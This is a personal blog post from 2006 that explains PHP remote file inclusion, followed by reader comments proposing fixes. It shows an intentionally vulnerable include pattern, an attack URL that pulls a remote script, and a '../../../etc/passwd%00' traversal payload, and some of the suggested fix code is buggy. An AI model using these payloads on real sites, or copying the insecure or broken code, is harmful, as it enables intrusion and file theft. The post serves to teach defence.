Remote Inclusion In PHP

The other day while I was browsing an extremely popular Syrian website, I found a very serious vulnerability in its code. I wasn't looking for exploits or anything, but a page URL was screaming "exploit me!". I emailed the site admins notifying them, with their MySQL password and a link that opens the site control panel without any form of authentication as proofs. The problem was fixed later. I won't reveal the identity of the site or the details of the exploit for obvious reasons, but I'll explain the problem in general.

PHP (The language that site was programmed in) lacks the concept of modules or namespaces. To create a somehow modular PHP program, each module should be written in a separate file. When you want to use a module in your code, you call the library function include and pass the module's source file path to it. include basically copies and pastes the module source into your program's source at runtime and executes it. The module's code may contain function and class definitions and implementations, in addition to regular code that is executed once the module's file is included.

include also accepts URLs for its parameter, which means that a script may include remote scripts.

Now suppose Joe (a newcomer to PHP and security) wants to create a personal website consisting of three pages: news, about, and contact, so he creates 3 PHP pages: news.php, about.php, and contact.php. Next, he creates index.php that outputs site's header, navigation menu, main content, and footer. index.php decides what to include as main content based on user input:

index.php?content=news //includes news.php
index.php?content=about //includes about.php
index.php?content=contact //includes contact.php

To achieve this, Joe uses this piece of code:

include($_GET['content'] . '.php');

For those who don't know PHP, $_GET['content'] fetches the value of variable content, and . '.php' appends the extension to it. Then the requested page is included, and its code is executed on the server.

This approach works as long as content is restricted to those 3 values, Joe's navigation menu only contains those three links, but is he safe? Of course not, any visitor can change the included page by manually editing the requested URL. If we request page index.php?content=somepage PHP will look for somepage.php and try to include it, when it doesn't find it, it will print a warning.

Now it's obvious that we can include any PHP script found on the server by setting content to its filename. You think this is bad? Wait there is a lot more! include may fetch and process remote files as well! If we host a PHP script that outputs commands on some server, we can execute those commands on Joe's server:

index.php?content=http://www.example.com/nastyoutput

Now index.php will append .php to content's value, resulting in: http://www.example.com/nastyoutput.php and then fetch and execute the script's output, given that we have full control over nastyoutput.php's output, we can execute arbitrary commands on Joe's server!

This type of exploits is called remote inclusion. Any competent PHP programmer must be aware of this, but unfortunately, and given that many try to code in PHP with no programming background whatsoever, the result is horribly-insecure code.

To secure his code in the short term, Joe must sanitize content before using it as a parameter for include. He must check whether content's value is in (news, about, contact) or not. In case it's not, an error message must be displayed instead of trying to include other files.

By the way, including remote files can be disabled in PHP configuration. I don't know why it isn't off by default.

Tags:
Submitted by Ayman on Thu, 2006/01/12 - 9:33pm

PRODRiVER (not verified) | PHP Injection? | Wed, 2006/01/18 - 3:00pm

Thanks for the explanation Ayman, and good to see a White-Hat Hacker nowadays. ;)
Anyway am not into PHP but I have a question, is there a possibility to inject a PHP code as it's the case with SQL?

Ayman | Yes | Wed, 2006/01/18 - 3:21pm

Yes it is possible in certain cases, this blog entry demonstrates one method, another method maybe possible when eval is called with variables.

Anonnerz (not verified) | Simple preventative measures? | Tue, 2006/11/07 - 2:01pm

Just two suggestions:
1) Couldn't you simply put all your includes in a seperate folder, say ./includes, that way your proposed:
include($_GET['content'] . '.php');

would have to read:
include('./includes/'. $_GET['content'] . '.php');
thus alleviating the threat of peoples calling foreign scripts onto your server as ./includes/http://www.example.com/nastyoutput.php is impossible to include, well... unless you like strange file names =P

2) And a method I like as it also prevents directly accessing the including files, initiating a password in your index file (I use define) that is checked in each included file. Ie in the index file:
define('AUTHCODE', 'your_auth_code');

and then in every included file:
if(AUTHCODE != 'your_auth_code') { //Error message } else { //Actions of the include file }

Just a few suggestions which seem to work for me.

Ayman | 1) Unfortunately this isn't | Thu, 2006/11/09 - 12:35am

1) Unfortunately this isn't enough, attackers will still be able to traverse directories and access sensitive data stored on your filesystem.

For example, if $_GET['content'] is set to '../../../etc/passwd%00', the included path becomes './includes/../../../etc/passwd%00.php', and the attacker may see the contents of /etc/passwd, which is something you definitely don't want.

c0dy (not verified) | Well... | Sun, 2007/02/04 - 7:30am

Ok i never really comment on these i just usually read them but, here it goes i hope im not wrong (dont flame me if im wrong please just correct me)...

you could do this in your code...i havnt done any php coding in a while but i am also quite good at web security issues.

<?php
if($_GET['content'] != "about" || $_GET['content] != "news" || $_GET['content] != "about") {
die(
"Nice try there buddy...A for effort");
}
else
{
*/
code to be executed when the url does read something like http://hmm.com/index.php?content=news */
}
?>

Ok well, i did my best at helping. hope it wasn't wrong and was helpful. E-mail me at clangaming@gmail.com (business e-mail...only only one i really check anymore) with any web security help. I love to help people.

I WEAR A WHITE HAT!!!!!! Black isn't my color!

thewebguy (not verified) | my .02 | Tue, 2007/02/27 - 6:51pm

I agree with Anonnerz that you should use some sort of constant to be sure that files being included are not being included remotely (though server settings should prevent anything malicious happening here).

For the actual including, here's what I suggest:

<?php
$allowed_sections
= Array('news','links','contact');

if (
in_array($_GET['section'], $allowed_sections)) {
$section = $_GET['section'];
} else {
$section = $allowed_sections[0];
}
?>

This defines an array of the sections that are allowed, and checks the GET section against the array. If it doesn't find it in the array, it just picks the top section off the top.

Diomed (not verified) | how about this? | Mon, 2008/06/09 - 9:34am

i suggest to hard code the php module names... What if we do this?

We wont pass php file names in url.Instead we should pass flags that designates local php files..try this

$cmd = $_GET['content'];
switch($cmd)
{
case 'news' : include('news'.'php); break;
case 'about' : include('about'.'php); break;
case 'contact' : include('contact'.'php); break;
default: echo "die bitch!!!"; break;
}

Sam Vander (not verified) | Thanks for advise | Sat, 2008/07/05 - 8:07pm

I will ask my webmaster to check out this article and make necessary changes to my site if required to make it better protected.

Anonymous (not verified) | having every sitename | Sun, 2008/08/17 - 8:52am

having every sitename hardcoded in your script will work, but is impossible to administer when you have a dynamic site or 100's of pages.

Something that is simply missing in the article is VALIDATION:

simply strip all characters that are not the letters a-z and A-Z . numbers are ok too. (use regular expressions for this)

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Allowed HTML tags: <a> <em> <strong> <cite> <strike> <code> <ul> <ol> <li> <dl> <dt> <dd> <blockquote> <sup> <sub> <h1> <h2> <h3> <b> <i> <u>
  • Lines and paragraphs break automatically.
  • You may post code using <code>...</code> (generic) or <?php ... ?> (highlighted PHP) tags.

More information about formatting options

About

Ayman Hourieh

I'm a Computer Science graduate, an Open Source enthusiast, and a Googler.

I'm 24 years old, and live in Dublin, Ireland.

This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.

More

Books

Learning Website Development with Django

Learning Website Development with Django
A beginner's tutorial to building web applications, quickly and cleanly, with the Django application framework.

My first book. Published by Packt Publishing in April 2008.

Icons

Get Firefox!
Drupal.org
Linux
Gentoo
Creative Commons License